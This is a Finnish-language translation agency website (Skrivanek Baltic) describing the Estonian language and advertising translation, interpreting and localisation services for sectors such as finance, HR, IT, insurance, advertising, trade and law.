hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi VIRON KIELI Viroa puhutaan Euroopan pohjoisosassa. Tämä kieli kuuluu suomalais-ugrilaisten kielten itämerensuomalaisiin kieliin. Tutkijoiden mukaan esihistorialliset suomalais-ugrilaiset heimot asuivat erittäin laajalla alueella, joka ulottui kauas Ural-vuoriston taakse, iranilaisten heimojen asuinsijoille. Kuitenkin noin 3000 vuotta eaa. he siirtyivät lähemmäs Itämerta, jossa he alkoivat luoda läheisiä kulttuurisia siteitä paikallisten balttilaisten heimojen kanssa. Arkeologisissa lähteissä nämä heimot on määritelty kampakeraamisen kulttuurin edustajiksi. Viro on sukua liivin, suomen ja vatjan kielille, mutta eroaa naapurimaidensa Venäjän, Latvian ja Ruotsin kielistä. Viro ja suomi kehittyivät, kun niin sanottua varhaiskantasuomea viestinnässään käyttävät suomalais-ugrilaiset heimot jakautuivat. Nykyviro eroaa paljon enemmän varhaiskantasuomesta kuin suomi; kuitenkin virossa käytetään yhä joitain arkaismeja, joita ei enää löydy suomesta. Viroa puhuu noin 1,1 miljoonaa ihmistä. Se on maailman toiseksi pienin kieli, jolla on virallisen kielen asema (pienin on islanti). Virallisena kielenä sitä käytetään Virossa ja vähemmistökielenä Venäjällä ja Latviassa. Virossa on kaksi murretta: Pohjoinen (käytetään Tallinnassa) ja eteläinen (käytetään Tartossa). Pohjoista murretta käytetään myös Viron saarilla, Läänen, Harjun, Järvan ja Virun maakunnissa sekä Pärnun, Viljandin ja Tarton maakuntien pohjoisosissa. Saarilla käytetty viro muistuttaa selvästi ruotsia. Etelämurretta puhutaan Pärnun, Viljandin ja Tarton maakuntien eteläosissa. Nykykirjallisuudessa käytettävä viron kieli perustuu pääosin pohjoiseen murteeseen. 1500-luvulta lähtien on ollut kaksi kirjakielen variaatiota, yksi molemmille maassa puhutuille murteille. Raamatun käännös, joka julkaistiin vuonna 1739, oli oleellinen vironkielisen kirjallisuuden kehityksessä, sillä se oli ensimmäinen lähde, joka sisälsi molemmat kielimuodot. 1800-luvun tunnetuimmat kielitieteilijät, jotka vaikuttivat aktiivisesti virolaisen kirjallisuuden syntyyn, olivat Ed. Ahrens, F. J. Wiedemann, J. Hurt ja M. Veske. Siitä lähtien virolainen kirjallisuus kehittyi nopeasti. Viron kirjallisuuden kehitys oli kiehtovaa. 1800-luvun lopussa kielitieteilijä M. Veske aloitti liikkeen, jonka tarkoituksena oli sisällyttää tiettyjen murteiden foneettiset ominaisuudet kirjoitettuun kieleen. Tämä liike oli niin menestyksekäs, että jonkin aikaa Virossa oli kaksi rinnakkaista kirjakieltä. Varhaisimmat lainasanat tulivat balttilaisista, germaanisista, indoiranilaisista ja slaavilaisista kielistä, kun taas uusimmat tulevat latviasta, venäjästä, saksasta ja ruotsista. Virossa on kuitenkin vain vähän kansainvälistä vaikutusta. Kirjoitusjärjestelmä perustuu latinalaiseen aakkostoon, josta voi edelleen havaita saksan vaikutusta: se sisältää kolme itsenäistä kirjainta, joilla on diakriittinen merkki umlaut (Ä, Ö ja Ü). Viro on kieli, jossa on runsaasti sijamuotoja, yhteensä 14. Meille tuttujen sijamuotojen, kuten nominatiivin ja genetiivin lisäksi on myös partitiivi (osa tai määrä objektista), illatiivi (liike kohti jotain tai johonkin), elatiivi (liike ulos tai pois jostain), allatiivi (liike jonnekin), adessiivi (oleminen jonkin päällä), ablatiivi (liike pois jostain), essiivi (sijainti tai olotila), translatiivi (vaihtamisen tai muuttumisen prosessi), komitatiivi tai saattaminen (jonkun seurassa oleminen) ja terminatiivi tai rajoittava tekijä (tilan ja ajan rajoitus). Kielessä on paljon vokaaleja, jotka lajitellaan pituuden mukaan: lyhyt, puolipitkä, pitkä ja ylipitkä. Diftongit ja konsonantit voivat olla lyhyitä, puolipitkiä ja pitkiä. Virossa on 45 % vokaaleita ja 55 % konsonantteja. Viron verbaalijärjestelmässä käytetään neljää aikamuotoa, joista yksi on preesens ja kolme menneitä muotoja. Futuurimuotoa ei ole. Viron verbeillä voi olla kaksi infiniittimuotoa. Pääpaino on aina sanan ensimmäisellä tavulla, toissijainen paino on kolmannella tavulla. Sanajärjestys on suhteellisen vapaa ja lauseiden merkitys voidaan ymmärtää myös silloin, kun ei käytetä oikeaa järjestystä. Kaikilla substantiiveilla ja adjektiiveilla on sama pääte yksikössä ja monikossa. Monikon luomiseen käytetään erityisiä suffikseja. Yksi ja sama pronomini viittaa molempiin sukupuoliin, koska virossa ei ole kieliopillisia sukupuolia. Virossa ei myöskään ole superlatiivia. Sen sijaan tehostepartikkeleja käytetään sanojen lopussa merkitsemässä laadun astetta. Tässä kielessä on erottuva suhteellinen mieliala ja negatiivinen konjugaatio, mutta siinä ei ole prepositioita, joten ei ole mahdollista tehdä prepositioista verbejä. Siksi siinä on niin monia kieliopillisia sijamuotoja. Sitä pidetään yhtenä maailman vaikeimmista kielistä. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-viro, viro-latvia, liettua-viro, viro-liettua, venäjä-viro, viro-venäjä, puola-viro, viro-puola, ukraina-viro, viro-ukraina, englanti-viro, viro-englanti, viro-espanja, espanja-viro, saksa-viro, viro-saksa, viro-viro, viro-viro, italia-viro, viro-italia, ranska-viro, viro-ranska, tanska-viro, viro-tanska, norja-viro, viro-norja, ruotsi-viro, viro-ruotsi, suomi-viro, viro-suomi ja muita. --- > Laadukkaita ratkaisuja rahoitus- ja pankkialalle: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset ja kielikoulutus. - Published: 2022-06-16 - Modified: 2024-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Rahoitusalan ammattilaisena tarvitset luotettavan kumppanin, joka ymmärtää alan luonteen ja pystyy tarjoamaan laadukkaita ratkaisuja. Skrivanek on tarjonnut rahoitusalalle laadukkaita käännöspalveluita yli 25 vuoden ajan. Etsitpä sitten jotakuta kääntämään tai oikolukemaan tekstisi, tulkkaamaan kokouksesi tai konferenssisi tai muokkaamaan SEO-tekstejäsi, Skrivanekin kieliasiantuntijat eivät jätä sinua pulaan. Pankit, rahoituslaitokset, luotonvälittäjät ja muut rahoitusalalla toimivat yritykset voivat luotta kieliratkaisuihimme, koska meillä on hyvä käsitys alan terminologiasta ja juridisten yksityiskohtien ymmärtämisestä. Tarvittaessa voimme myös mukauttaa tekstisi sopimaan paikallisiin tarpeisiin. Yhteistyössä Skrivanekin kanssa voit olla varma siitä, että saat hyväksi havaittuja ratkaisuja ja erinomaista asiakaspalvelua – kieliasiantuntijoillamme on usean vuoden kokemus rahoitusalalta. Käyttämällä uusinta käännös- ja tekstinkäsittelyteknologiaa autamme sinua säästämään aikaa ja rahaa. Pidämme myös huolta korkeatasoisesta tietoturvasta, joka suojaa tietojasi vuotamasta kolmansille osapuolille. Kaikkia tilauksia koordinoivat kokeneet projektipäälliköt, jotka ymmärtävät täysin asiakkaidemme tarpeet ja jotka käännösprojektisi aikana tulevat osaksi tiimiäsi. Kansainvälisen kokemuksemme ja suuren kääntäjien ja tulkkien joukon ansiosta selviämme mistä tahansa työstä, olipa se kuinka suuri tai kiireellinen tahansa. SKRIVANEK TARJOAA SEURAAVIA RATKAISUJA RAHOITUSALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: erilaisten markkinointimateriaalien, kuten myyntimateriaalien, tyylioppaiden, tuotetietokorttien, sähköpostikampanjoiden jne. kääntäminen sekä digitaalisessa että painetussa muodossa;inve stointi- ja markkinaraporttien, vuosikertomusten, rahoitusalan tutkimusten kääntäminen; erilaisten sopimusten, asetusten ja lisenssien kääntäminen ohjelmistojen lokalisointi rahoituspalvelujen tarjoamiseksi; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, liikelounaat ja -päivälliset sekä liiketapaamiset; sekä muut mahdolliset tarvitsemasi palvelut. KUULEMME MIELELLÄMME SINUA JA KEHITÄMME TARPEISIISI RÄÄTÄLÖIDYN RATKAISUN Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaat ratkaisut henkilöstöalalle: kääntäminen, tulkkaus. Lokalisointi ja kielikoulutus. Tutustu tarkemmin! - Published: 2022-06-16 - Modified: 2024-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Tavoitteesi henkilöstöhallinnon (HR) saralla on löytää ja houkutella alan huippuasiantuntijoita, jotka ovat päteviä ja halukkaita osallistumaan projekteihisi. Skrivanekin tiimi koostuu kieliasiantuntijoista, jotka auttavat sinua löytämään oikeat sanat vieraalla kielellä, jotta voit valita parhaat mahdolliset yhteistyökumppanit. Tämä on erityisen tärkeää etsiessäsi työntekijöitä, joiden täytyy pystyä kommunikoimaan useilla kielillä: ainutlaatuinen FOCUS-työkalumme auttaa sinua selvittämään hakijoidesi kielitaidot ja niiden tason nopeasti ja tehokkaasti. Henkilöstöhallinnossa on tärkeää välittää samat yritysarvot kaikille työntekijöille riippumatta siitä, millä kielellä he kommunikoivat. Skrivanekin kieliasiantuntijat tarjoavat tarkkoja käännös- ja tulkkauspalveluita kaikilla suosituimmilla eurooppalaisilla kielillä varmistaen, että sanomasi ei katoa käännettäessä. Skrivanekin kääntäjät tarjoavat laadukkaita käännöksiä kaikille asiakirjoille, joita saatat tarvita, mukaan lukien työsopimukset, yritysmääräykset, sisäiset yritysviestit ja muut. Kieliasiantuntijamme ymmärtävät täysin eri kulttuurien ja paikallisten markkinoiden väliset erot ja pystyvät siten luomaan tekstejä tietylle kohdeyleisölle missä tahansa maassa ja millä tahansa kielellä. Lisäksi voimme mukauttaa tekstejä mille tahansa kohderyhmälle. TARJOAMME SEURAAVIA KIELIRATKAISUJA HENKILÖSTÖHALLINNON ALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: työsopimusten ja muiden sopimusten kääntäminen; osallistuminen työhaastatteluihin ja hakijoiden kielitaidon arviointi; sisäisten sääntöjen kääntäminen; sisäisten viestintämateriaalien kääntäminen; suosituskirjeiden kääntäminen; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, liikelounaat ja -päivälliset sekä liiketapaamiset; kielen harjoittelua ryhmissä ja yksityisesti; kielitaitojen online-arviointityökalu FOCUS; ja muut kieliratkaisut, joita saatat tarvita KUULEMME MIELELLÄMME SINUA JA KEHITÄMME TARPEISIISI RÄÄTÄLÖIDYN RATKAISUN Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita ratkaisuja IT- ja pelialalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Tutustu tarkemmin! - Published: 2022-06-16 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Tietotekniikan (IT) alalla puhutaan omaa kieltään. IT-asiantuntijana tiedät, miten tärkeää on käyttää tarkkaa terminologiaa kollegoidesi kanssa viestiessäsi ja välittää tiedot yksinkertaisesti loppukäyttäjälle. Skrivanekin kieliasiantuntijat rakentavat siltoja IT-asiantuntijoiden ja asiakkaiden välille luomalla käyttäjäystävällisiä tekstejä. Skrivanek tarjoaa tarkkoja ja täsmällisiä käännöksiä ja tulkkausta IT- ja peliyrityksille, noudattaen aikatauluja aina tunnollisesti. Tiimiimme kuuluu kokeneita kieliasiantuntijoita, jotka ovat perehtyneet hyvin IT-alan terminologiaan ja alan viimeisimpiin kehityksiin ja pystyvät selventämään tuotteiden tekniset tiedot tarkasti. Tarvitsitpa sitten kirjallista käännöstä, lokalisointia tai tulkkauspalveluita eri liiketapaamisiin, Skrivanek on sinua varten. Skrivanekin kieliasiantuntijat tuottavat laadukkaita tekstejä kaikista materiaaleistasi, mukaan lukien erilaiset käsikirjat, tekniset kuvaukset, yritysjulkaisut, markkinointimateriaalit ja muut tekstit. Asiantuntijoidemme tietämyksen ansiosta voimme suorittaa ohjelmistojen ja tietokonepelien korkeatasoista lokalisointia. Asiantuntijamme käyttävät käännös- ja lokalisointiprosessissa erilaisia automaattisia ohjelmia, jotka auttavat säilyttämään IT-alalla ratkaisevat ohjelmointikoodit ja komennot ennallaan. TARJOAMME SEURAAVIA IT-ALAN PALVELUITA YLI 100 KIELIYHDISTELMÄLLÄ: ohjelmistojen ja tietokonepelien lokalisointi; AdWordsien kääntäminen; käyttöohjeiden kääntäminen; yritysmateriaalien valmistelu; vertailujen, artikkelien ja lehdistötiedotteiden kääntäminen; sopimusten, asetusten ja lisenssien kääntäminen; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien seminaarit, konferenssit ja liiketapaamiset; kaikki muut kielipalvelut, joita saatat tarvita. KUULEMME MIELELLÄMME SINUA JA KEHITÄMME TARPEISIISI RÄÄTÄLÖIDYN RATKAISUN Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- - Published: 2022-06-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Vakuutusala on luottamukseen perustuva ala, jolla vain ammattilaiset voivat menestyä. Halutun tuloksen saavuttamiseksi tarvitset yhteistyökumppanin, joka on hyvin perehtynyt alan käytäntöihin ja terminologiaan sekä erilaisiin vakuutuspalveluihin, jotta he voivat tarjota sopivia ratkaisuja. Skrivanekin tiimiin kuuluu kääntäjiä ja tulkkeja, joilla on kokemusta tältä alalta sekä tietoa erityyppisistä vakuutuksista: kiinteistövakuutukset, terveys- ja henkivakuutukset, jälleenvakuuttaminen, liiketoiminnan vakuutukset, ajoneuvovakuutukset, jne. Tästä syystä ratkaisumme sopivat parhaiten tarpeisiisi. Etsitpä sitten kirjallisia käännöksiä, tekstin parantamista tai tulkkauspalveluita seminaareihin ja konferensseihin, et tule pettymään meihin. Asiantuntijoidemme kokemus takaa, että vakuutusalan käännökset täyttävät odotuksesi. Käytämme yrityksille sopivaa viestintätyyliä ja asianmukaista terminologiaa varmistaaksemme, että tekstit eivät ole vain tarkkoja, vaan ne myös auttavat yrityskuvasi rakentamisessa. Valitsemalla Skrivanekin voit luottaa siihen, että otamme vastuun työstämme riippumatta siitä, oletko pyytänyt meitä valmistamaan vieraskielisen myyntimateriaalipaketin vai kuvauksen monimutkaisista lääketieteellisistä hoito-ohjeista. Ymmärrämme vakuutusalan luonteen, tunnemme sen nykyiset trendit hyvin ja olemme aina valmiita parantamaan vakuutusalaa koskevia tietojamme. TARJOAMME SEURAAVIA KIELIRATKAISUJA VALMISTAVALLE TEOLLISUUDELLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: erilaisten yleisten vakuutussopimusten kääntäminen; vakuutusehtojen kääntäminen; ryhmävakuutuksiin liittyvien sopimusten kääntäminen; tarjousten ja liiketoimintasuunnitelmien kääntäminen; vakuutuksenottajiin ja korvausvaatimuksiin liittyvien tietojen kääntäminen; vakuutustodistusten kääntäminen; korvausvaatimuslomakkeiden ja tavallisten jatkokirjeiden kääntäminen; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien liiketapaamiset, seminaarit ja konferenssit; kaikenlaisten markkinointimateriaalien kääntäminen palveluidesi edistämiseksi; kaikki muut palvelut, joita saatat tarvita. KUULEMME MIELELLÄMME SINUA JA TARJOAMME TARPEISIISI RÄÄTÄLÖIDYN RATKAISUN. Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita ratkaisuja mainontaan ja markkinointiin: käännökset, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Tiedät, kuinka tärkeää sanavalintasi voi olla. Joskus vähemmän on enemmän.  TARJOAMME SEURAAVIA PALVELUJA MAINOS- JA MARKKINOINTIALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: luovien tekstien copywriting ja mukauttaminen; erilaisten markkinointimateriaalien, kuten myyntimateriaalien, tyylioppaiden, tuotetietokorttien, sähköpostikampanjoiden jne. kääntäminen digitaalisessa ja painetussa muodossa; mainostekstien kääntäminen kirjallisessa, video- ja audiomuodoissa; mainoslauseiden, bannereiden ja AdWordsien kääntäminen; verkkosivujen kääntäminen, mukaan lukien aloitussivut; julkaisuratkaisut – DTP; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien seminaarit, konferenssit ja esitykset; sekä muut palvelut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu MAINOSTEKSTIN KÄÄNTÄMINEN Mainostekstien kääntäminen liittyy läheisesti kääntäjien kielelliseen luovuuteen. Erityisesti mainosteksteissä arvostetaan ilmaisukykyä, äänenkäyttöä, ymmärrettävyyttä ja tyylitajua. Mainosteksti on mainoksen olennaisin osa siinä, miten mainos vaikuttaa kuluttajaan. Mainosteksteillä on erityinen semanttinen alateksti; niissä on runsaasti kaikenlaisia taiteellisia ilmaisukeinoja, joista yleisimpiä ovat metaforat, epiteetit, hyperbolit, personifikaatiot ja retoriset kysymykset. On kuitenkin varottava käyttämästä sanoja, joilla on emotionaalisesti negatiivinen sävy. Mainosteksteissä käytetään usein ongelma-ratkaisu -mallia, eli mainoksessa määritellään ongelma ja tarjotaan sitten loistava ratkaisu, jolla vakuutetaan kuluttajat tuotteen tarpeellisuudesta. Mainostekstien luomisessa, kääntämisessä ja myöhemmin muokkaamisessa on muistettava, että mainos ei saa olla täynnä tekstiä. Tekstin on koostuttava tiiviistä, täsmällisistä ja hyvin jäsennellyistä lauseista. Mainostekstit eivät saa olla moniselitteisiä tai epäselviä. Kääntäjien on työskenneltävä erittäin huolellisesti mainostekstin otsikoiden ja iskulauseiden kanssa, jotta tuotteen olemus paljastuu siististi - otsikko on usein ainoa asia, jonka kuluttaja lukee. MAINOSTEKSTIN KÄÄNNÖSTYYPIT mainostekstien kääntäminen ja mukauttaminen; verkkosivuston tai kotisivun käännökset; video- ja äänimainosten käännökset; mainoslauseiden käännökset; bannerikäännökset; mainosvihkosten käännökset; aloitussivujen käännökset. MAINOSTEKSTIEN KÄÄNNÖSTEN OMINAISUUDET Mainostekstejä käännettäessä on kiinnitettävä erityistä huomiota osoitteen ja jälkikirjoituksen muotoon sekä niiden diminutiiviseen käyttöön. Muista, että käännöksen tekstiä ei voida pitää irrallisena tai erillään sen visuaalisista tai äänielementeistä, vaan yhdessä ne luovat harmonisen mainoksen. Värit ja fonttikoko vain täydentävät mainoksen emotionaalista makua. Mainostekstin kääntämisessä on tärkeää ottaa huomioon kohdeyleisön kansallinen mentaliteetti, arkkityypit ja stereotypiat, sillä kulttuuristen arvojen moninaisuus voi herättää kielteisiä reaktioita. Käännökselle on tärkeää, että se pystyy säilyttämään siihen koodatun alkuperäisen alatekstin tai tunnesiteen, joka välittää mainoksen kohdeyleisölle. Kun mainosta mukautetaan tietylle alueelle, on erittäin tärkeää ottaa huomioon kaikki tekstin herättämät mielleyhtymät. Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita kieliratkaisuja kaupan alalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Lue lisää! - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Jos haluat lähestyä asiakasta, sinun on puhuttava hänen kieltään. Kaupankäynnin ammattilaisena tiedät, että nopea viestintä on yksi menestyksekkään liiketoiminnan edellytys, erityisesti nykyään, kun markkinoina on koko maailma. Skrivanekin kieliasiantuntijat auttavat sinua kommunikoimaan asiakkaiden ja kumppaneiden kanssa ympäri maailmaa yli 110 kielellä. Lisäksi nykyaikainen ja tulospohjainen lähestymistapamme edistää liiketoimintasi kehittämistä. Skrivanekin tiimiin kuuluu kielen asiantuntijoita, joilla ei ole vain hyvä kielitaito, vaan jotka ovat perehtyneitä myös kohdekielen kulttuurisiin ominaisuuksiin. Emme tarjoa vain käännöspalveluita, vaan voimme myös parantaa olemassa olevia tekstejä, muotoilla ja mukauttaa niitä vastaamaan asiakkaidesi kulttuurin, ympäristön ja markkinoinnin erityistarpeita. Meillä on laaja kokemus sopimusten, markkinointi- ja mainosmateriaalien, katalogien, tuotekuvausten ja muiden toimialakohtaisten tekstien kääntämisestä. Teemme yhteistyötä erilaisten kauppayhtiöiden kanssa: sekä pienten yksityisyritysten että kansainvälisten kauppaketjujen. Voimme siis varmuudella sanoa, että pystymme tarjoamaan sinulle tarvitsemasi kieliratkaisut. Sinun ei tarvitse huolehtia määräajoista – Skrivanekin kieliasiantuntijat ja projektipäälliköt käyttävät nykyaikaisia ohjelmia, joiden avulla he voivat tarjota laadukkaita kieliratkaisuja mahdollisimman nopeasti. TARJOAMME SEURAAVIA PALVELUJA KAUPAN ALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: kaikkien mahdollisten markkinointi- ja mainosmateriaalien kääntäminen, mukaan lukien tuotekuvaukset sekä julkaisutyöt; erilaisten teknisten asiakirjojen kääntäminen, mukaan lukien käyttöohjeet, huolto- ja käyttöasiakirjat sekä katalogit; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, seminaarit, messut ja liiketapaamiset; eritasoiset kielikurssit kaikilla tietotasoilla; kaikki muut palvelut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita kieliratkaisuja lakialalle: käännökset, tulkkaus, notaarin varmentamat käännökset ja kielikoulutus. - Published: 2022-06-16 - Modified: 2024-10-21 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Edustamasi lakiala vaikuttaa lukemattomiin muihin prosesseihin ja menettelytapoihin, jopa ihmiskohtaloihin, joten ymmärrät paremmin kuin kukaan muu, kuinka tärkeää oikeiden sanojen ja fraasien valinta voi olla. Skrivanekin kieliasiantuntijat ovat hyvin perehtyneitä oikeusjärjestelmään, mikä tarkoittaa, että kieliratkaisujemme avulla voit keskittyä ydintoimintaasi. Tarvitsitpa käännöksiä sopimuksista, laeista ja säädöksistä, tuomioistuinten päätöksistä tai tulkkauspalveluja tuomioistuinkäsittelyyn, Skrivanekin kieliasiantuntijat ovat sinua varten. Tiimiimme kuuluu asiantuntijoita, jotka tuntevat lakitekstien luonteen ja pystyvät kääntämään lähdetekstin tavalla, joka säilyttää sekä alkuperäisen asiakirjan sisällön että laillisen merkityksen 